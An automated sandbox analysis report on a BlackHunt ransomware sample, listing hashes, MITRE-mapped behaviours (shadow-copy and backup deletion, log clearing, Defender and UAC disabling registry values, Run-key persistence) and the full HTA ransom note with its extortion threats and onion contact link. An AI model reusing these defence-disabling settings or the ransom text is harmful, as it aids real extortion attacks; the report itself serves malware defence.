344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:59

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General

Target

344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Size

707KB
MD5

17af544d9468e3fecadbbae342eb49b9
SHA1

7924a7fe6343b26686642dffbbb0cf35f58402dc
SHA256

344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e
SHA512

fa062da8dc26c4c4d958d7d4f8964ffe4ec33b5522ce543b9450081b542b18416af32c0f53f0217a9f9edaab0ea78f8fba5d370e6e63232a21c161eecf7afcc1
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza148wvnh:6uaTmkZJ+naie5OTamgEoKxLWTuh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> TscpWnO0hvNZBQCM </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1976	fsutil.exe
3264	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
604	wevtutil.exe
3092	wevtutil.exe
3016	wevtutil.exe
3220	wevtutil.exe
3292	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2140	bcdedit.exe
2692	bcdedit.exe
1268	bcdedit.exe
3284	bcdedit.exe

Renames multiple (2881) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2488	wbadmin.exe
3268	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3388	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\W:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\Y:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\I:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\V:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\O:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\S:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\G:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\J:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\P:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\H:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\L:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Q:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\E:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\A:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\R:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\N:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\B:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\M:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\K:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened (read-only)	\??\Z:	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\te\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\NOTICE	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui.zh_CN_5.5.0.165303.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.event_1.3.100.v20140115-1647.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\security\blacklist	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Cordoba	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\NEWS.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\vlc.mo	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\GoldRing.png	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\WET	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\THIRDPARTYLICENSEREADME.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jre7\lib\zi\Pacific\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\London	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Manaus	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
